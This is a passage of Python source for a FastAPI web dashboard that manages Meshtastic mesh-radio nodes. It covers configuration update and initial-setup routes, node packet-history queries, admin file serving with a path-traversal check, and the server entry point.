    NETWORK_WEBSERVER_PORT: int = 8000
    DB_PATH: str = "meshtastic_data.db"
    TASK_DB_PATH: str = "tasks.db"
    NETWORK_DB_PATH: str = "meshtastic_network_data.db"
    MAX_PACKETS_MEMORY: int = 200
    HISTORY_DAYS: int = 30
    LOG_LEVEL: str = "INFO"
    COMMUNITY_API: bool = False
    COMMUNITY_API_KEY: Optional[str] = ""
    SEND_LOCAL_NODE_LOCATION: bool = True
    SEND_OTHER_NODES_LOCATION: bool = True
    LOCATION_OFFSET_ENABLED: bool = False
    LOCATION_OFFSET_METERS: float = 0
    HEARTBEAT_INTERVAL_MINUTES: int = 1
    SCHEDULER_MAX_RETRIES: int = 3
    SCHEDULER_RETRY_DELAY_SECONDS: int = 10
    SCHEDULER_CONNECT_TIMEOUT: float = 10
    SCHEDULER_RW_TIMEOUT: float = 30


class ConfigUpdateRequest(PydanticBaseModel):
    AUTH_SECRET_KEY: Optional[str] = None
    AUTH_TOKEN_EXPIRE_MINUTES: Optional[int] = None
    MESHTASTIC_CONNECTION_TYPE: Optional[str] = None
    MESHTASTIC_SERIAL_PORT: Optional[str] = None
    MESHTASTIC_HOST: Optional[str] = None
    MESHTASTIC_PORT: Optional[int] = None
    MESHTASTIC_BLE_MAC: Optional[str] = None
    WEBSERVER_HOST: Optional[str] = None
    WEBSERVER_PORT: Optional[int] = None
    NETWORK_WEBSERVER_PORT: Optional[int] = None
    DB_PATH: Optional[str] = None
    TASK_DB_PATH: Optional[str] = None
    NETWORK_DB_PATH: Optional[str] = None
    MAX_PACKETS_MEMORY: Optional[int] = None
    HISTORY_DAYS: Optional[int] = None
    LOG_LEVEL: Optional[str] = None
    COMMUNITY_API: Optional[bool] = None
    COMMUNITY_API_KEY: Optional[str] = None
    SEND_LOCAL_NODE_LOCATION: Optional[bool] = None
    SEND_OTHER_NODES_LOCATION: Optional[bool] = None
    LOCATION_OFFSET_ENABLED: Optional[bool] = None
    LOCATION_OFFSET_METERS: Optional[float] = None
    HEARTBEAT_INTERVAL_MINUTES: Optional[int] = None
    SCHEDULER_MAX_RETRIES: Optional[int] = None
    SCHEDULER_RETRY_DELAY_SECONDS: Optional[int] = None
    SCHEDULER_CONNECT_TIMEOUT: Optional[float] = None
    SCHEDULER_RW_TIMEOUT: Optional[float] = None
    C2_ACCESS_LEVEL: Optional[str] = None
    C2_EXTRA_ENDPOINTS: Optional[str] = None
    C2_BLOCKED_ENDPOINTS: Optional[str] = None
    C2_MAX_REQUESTS_PER_SYNC: Optional[int] = None
    C2_MAX_RESPONSE_KB: Optional[int] = None
    C2_SYNC_INTERVAL_SECONDS: Optional[int] = None
    C2_UPLOAD_INTERVAL_SECONDS: Optional[int] = None

# ---------------------------------------------------------------------------
# Config API routes
# ---------------------------------------------------------------------------

@app.get("/api/system/config")
async def get_system_config(user: User = Depends(get_current_active_user)):
    try:
        config = await asyncio.to_thread(load_configuration, CONFIG_FILE_PATH)
        return no_cache(JSONResponse(content=ensure_serializable(config)))
    except Exception as e:
        logger.error(f"Failed to read config file: {e}")
        raise HTTPException(status_code=500, detail="Unable to read configuration")


@app.post("/api/system/config/update")
async def update_system_config(request: ConfigUpdateRequest, user: User = Depends(get_current_active_user)):
    try:
        current_config = await asyncio.to_thread(load_configuration, CONFIG_FILE_PATH)
        update_data = request.model_dump(exclude_unset=True) if PYDANTIC_V2 else request.dict(exclude_unset=True)
        current_config.update(update_data)

        with open(CONFIG_FILE_PATH, "w", encoding="utf-8") as f:
            f.write(f"# ---------------------------------------------------------\n")
            f.write(f"# MeshDash Configuration\n")
            f.write(f"# Updated via Web UI on {datetime.now().isoformat()}\n")
            f.write(f"# ---------------------------------------------------------\n\n")
            for key, value in current_config.items():
                if key in ("INITIAL_ADMIN_USERNAME", "INITIAL_ADMIN_PASSWORD"):
                    continue
                value_str = "" if value is None else ("True" if value is True else ("False" if value is False else str(value)))
                f.write(f"{key}={value_str}\n")

        logger.info(f"✅ Configuration updated by user {user.username}")

        # Hot-reload globals
        global AUTH_SECRET_KEY, AUTH_TOKEN_EXPIRE_MINUTES
        global TARGET_HOST, TARGET_PORT, WEBSERVER_HOST, WEBSERVER_PORT
        global DB_PATH, TASK_DB_PATH, MAX_PACKETS_IN_MEMORY, AVERAGE_METRICS_HISTORY_DAYS
        global COMMUNITY_API_KEY, LOG_LEVEL, LOG_LEVEL_STR

        reload_map = {
            "AUTH_SECRET_KEY": lambda v: setattr(sys.modules[__name__], "AUTH_SECRET_KEY", v),
            "AUTH_TOKEN_EXPIRE_MINUTES": lambda v: setattr(sys.modules[__name__], "AUTH_TOKEN_EXPIRE_MINUTES", int(v)),
            "MESHTASTIC_HOST": lambda v: setattr(sys.modules[__name__], "TARGET_HOST", v),
            "MESHTASTIC_PORT": lambda v: setattr(sys.modules[__name__], "TARGET_PORT", int(v)),
            "WEBSERVER_HOST": lambda v: setattr(sys.modules[__name__], "WEBSERVER_HOST", v),
            "WEBSERVER_PORT": lambda v: setattr(sys.modules[__name__], "WEBSERVER_PORT", int(v)),
            "DB_PATH": lambda v: setattr(sys.modules[__name__], "DB_PATH", v),
            "TASK_DB_PATH": lambda v: setattr(sys.modules[__name__], "TASK_DB_PATH", v),
            "HISTORY_DAYS": lambda v: setattr(sys.modules[__name__], "AVERAGE_METRICS_HISTORY_DAYS", int(v)),
            "COMMUNITY_API_KEY": lambda v: setattr(sys.modules[__name__], "COMMUNITY_API_KEY", v),
        }
        for k, fn in reload_map.items():
            if k in update_data:
                try:
                    fn(current_config[k])
                except Exception:
                    pass

        if "MAX_PACKETS_MEMORY" in update_data:
            MAX_PACKETS_IN_MEMORY = int(current_config["MAX_PACKETS_MEMORY"])
            meshtastic_data.packets = deque(meshtastic_data.packets, maxlen=MAX_PACKETS_IN_MEMORY)

        if "LOG_LEVEL" in update_data:
            new_level = current_config["LOG_LEVEL"].upper()
            numeric_level = getattr(logging, new_level, None)
            if numeric_level:
                logging.getLogger().setLevel(numeric_level)
                LOG_LEVEL_STR = new_level
                LOG_LEVEL = numeric_level

        loaded_config.update(current_config)
        if "COMMUNITY_API" in update_data:
            loaded_config["COMMUNITY_API"] = bool(update_data["COMMUNITY_API"])

        return JSONResponse({
            "status": "success",
            "message": "Configuration saved. Some changes require a server restart.",
            "updated_keys": list(update_data.keys()),
        })
    except PermissionError:
        raise HTTPException(status_code=500, detail="Permission denied - cannot write config file")
    except Exception as e:
        logger.error(f"Failed to update config: {e}", exc_info=True)
        raise HTTPException(status_code=500, detail=f"Configuration save failed: {str(e)}")


@app.post("/api/system/config/initial-setup")
async def initial_setup_api(req: InitialSetupRequest):
    try:
        existing_count = await asyncio.to_thread(db_manager.count_users)
    except Exception as e:
        logger.error(f"❌ Database error checking user count: {e}")
        raise HTTPException(500, "Database unavailable during setup check.")

    if existing_count > 0:
        logger.warning(f"⚠️  Setup attempted but {existing_count} users already exist - blocking duplicate setup")
        new_file_path = os.path.join(STATIC_DIR, ".new")
        if os.path.exists(new_file_path):
            try:
                os.remove(new_file_path)
            except Exception as e:
                logger.error(f"❌ Failed to delete .new file on duplicate setup: {e}")
        raise HTTPException(400, "System already initialized. Please login.")

    if not req.username or not req.password:
        raise HTTPException(400, "Username and password required")

    logger.info(f"🔧 Starting initial setup for admin user: {req.username}")
    hashed = get_password_hash(req.password)

    try:
        user_created = await asyncio.to_thread(db_manager.create_user, req.username, hashed)
        if not user_created:
            raise HTTPException(500, "User could not be saved to database")
        final_count = await asyncio.to_thread(db_manager.count_users)
        if final_count == 0:
            raise HTTPException(500, "User creation failed - database error")
        logger.info(f"✅ Admin user '{req.username}' created successfully")
    except sqlite3.IntegrityError as e:
        logger.warning(f"⚠️  Duplicate user creation blocked: {e}")
        raise HTTPException(400, "System already initialized.")
    except HTTPException:
        raise
    except Exception as e:
        logger.error(f"❌ Unexpected error creating user: {e}")
        raise HTTPException(500, "Internal server error during user creation")

    try:
        config_data = req.model_dump() if PYDANTIC_V2 else req.dict()
        config_data.pop("username", None)
        config_data.pop("password", None)
        with open(CONFIG_FILE_PATH, "w", encoding="utf-8") as f:
            f.write(f"# ---------------------------------------------------------\n")
            f.write(f"# MeshDash Configuration\n")
            f.write(f"# Generated via Web Setup on {datetime.now().isoformat()}\n")
            f.write(f"# ---------------------------------------------------------\n\n")
            for key, val in config_data.items():
                val_str = str(val) if not isinstance(val, bool) else str(val)
                if val is None:
                    val_str = ""
                f.write(f"{key}={val_str}\n")
        logger.info(f"✅ Configuration written to {CONFIG_FILE_PATH}")

        global AUTH_SECRET_KEY, AUTH_TOKEN_EXPIRE_MINUTES, TARGET_HOST, TARGET_PORT
        global COMMUNITY_API_KEY
        AUTH_SECRET_KEY = req.AUTH_SECRET_KEY
        AUTH_TOKEN_EXPIRE_MINUTES = req.AUTH_TOKEN_EXPIRE_MINUTES
        if req.MESHTASTIC_HOST:
            TARGET_HOST = req.MESHTASTIC_HOST
        if req.MESHTASTIC_PORT:
            TARGET_PORT = req.MESHTASTIC_PORT
        if req.COMMUNITY_API_KEY:
            COMMUNITY_API_KEY = req.COMMUNITY_API_KEY
        logger.info("✅ Global variables updated in memory (Hot Reload active)")
    except PermissionError as e:
        logger.error(f"❌ Permission denied writing config file: {e}")
    except Exception as e:
        logger.error(f"❌ Failed to write config file: {e}")

    new_file_path = os.path.join(STATIC_DIR, ".new")
    if os.path.exists(new_file_path):
        try:
            os.remove(new_file_path)
            logger.info("✅ DELETED .new FILE - Setup flow disabled")
        except Exception as e:
            logger.error(f"❌ Error deleting .new file: {e}")

    token = create_access_token({"sub": req.username})
    response = JSONResponse({
        "status": "success",
        "message": "Setup completed successfully",
        "username": req.username,
        "redirect": "/",
    })
    response.set_cookie(
        key="access_token",
        value=f"Bearer {token}",
        httponly=True,
        max_age=req.AUTH_TOKEN_EXPIRE_MINUTES * 60,
        samesite="lax",
    )
    logger.info(f"🎉 Setup finalized. Redirecting '{req.username}' to dashboard.")
    return response


@app.get("/setup", response_class=HTMLResponse)
async def setup_page():
    count = await asyncio.to_thread(db_manager.count_users)
    if count > 0:
        new_file_path = os.path.join(STATIC_DIR, ".new")
        if os.path.exists(new_file_path):
            try:
                os.remove(new_file_path)
            except Exception as e:
                logger.error(f"❌ Failed to delete .new file in /setup route: {e}")
        return RedirectResponse("/login", 302)

    setup_html_path = os.path.join(STATIC_DIR, "setup.html")
    if not os.path.exists(setup_html_path):
        raise HTTPException(404, "Setup page not found")
    return FileResponse(setup_html_path)

# ---------------------------------------------------------------------------
# Node history & admin routes
# ---------------------------------------------------------------------------

app.include_router(tasks_router, prefix="/api/tasks")
if AUTO_REPLY_ENABLED:
    app.include_router(auto_reply_router, prefix="/api/auto_reply")

ADMIN_CONTENT_DIR = os.path.join(SCRIPT_DIR, "admin_secure")
if not os.path.exists(ADMIN_CONTENT_DIR):
    try:
        os.makedirs(ADMIN_CONTENT_DIR)
        with open(os.path.join(ADMIN_CONTENT_DIR, "active.html"), "w") as f:
            f.write("<h1>Secure Admin Area</h1><p>You are logged in.</p>")
    except Exception as e:
        logger.error(f"Could not create admin directory: {e}")


@app.get("/api/nodes/{node_id}/history/{table_name}")
async def api_node_history_endpoint(
    node_id: str,
    table_name: str,
    limit: int = 1000,
    start: Optional[float] = None,
    end: Optional[float] = None,
):
    valid_tables = ["positions", "telemetry", "packets"]
    if table_name not in valid_tables:
        raise HTTPException(400, f"Invalid table. Must be one of: {valid_tables}")

    if table_name == "packets":
        try:
            q = "SELECT * FROM packets WHERE from_id = ?"
            params: list = [node_id]
            if start:
                q += " AND timestamp >= ?"
                params.append(start)
            if end:
                q += " AND timestamp <= ?"
                params.append(end)
            q += " ORDER BY timestamp DESC LIMIT ?"
            params.append(limit)

            def fetch_raw():
                conn = db_manager._get_connection()
                rows = conn.execute(q, params).fetchall()
                results = []
                for r in rows:
                    d = dict(r)
                    if d.get("decoded"):
                        try:
                            d["decoded"] = json.loads(d["decoded"])
                        except Exception:
                            pass
                    if d.get("raw"):
                        try:
                            d["raw"] = json.loads(d["raw"])
                        except Exception:
                            pass
                    results.append(d)
                return results

            return await asyncio.to_thread(fetch_raw)
        except Exception as e:
            logger.error(f"Error fetching packet history: {e}")
            raise HTTPException(500, "Database error fetching packets")

    return await asyncio.to_thread(db_manager.get_node_history, node_id, table_name, start, end, limit)


@app.get("/%admin/logout.html")
async def secure_admin_logout():
    response = RedirectResponse(url="/login", status_code=302)
    response.delete_cookie("access_token")
    return response


@app.get("/!admin/{file_path:path}")
async def serve_secure_admin_content(file_path: str, user: User = Depends(get_current_active_user)):
    if not file_path or file_path == "/":
        file_path = "index.html"
    requested_path = os.path.normpath(os.path.join(ADMIN_CONTENT_DIR, file_path))
    if not requested_path.startswith(os.path.abspath(ADMIN_CONTENT_DIR)):
        logger.warning(f"⚠️ Security Alert: User {user.username} attempted path traversal: {file_path}")
        raise HTTPException(status_code=403, detail="Access Denied")
    if not os.path.exists(requested_path) or not os.path.isfile(requested_path):
        raise HTTPException(status_code=404, detail="File not found")
    return FileResponse(requested_path)

# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--port", type=int, default=WEBSERVER_PORT)
    parser.add_argument("--host", default=WEBSERVER_HOST)
    parser.add_argument("--db-path", default=DB_PATH)
    parser.add_argument("--task-db-path", default=TASK_DB_PATH)
    parser.add_argument("--log-level", default=LOG_LEVEL_STR)
    args = parser.parse_args()

    DB_PATH = args.db_path
    TASK_DB_PATH = args.task_db_path
    if args.log_level != LOG_LEVEL_STR:
        logging.getLogger().setLevel(getattr(logging, args.log_level.upper()))

    uvicorn.run(app, host=args.host, port=args.port)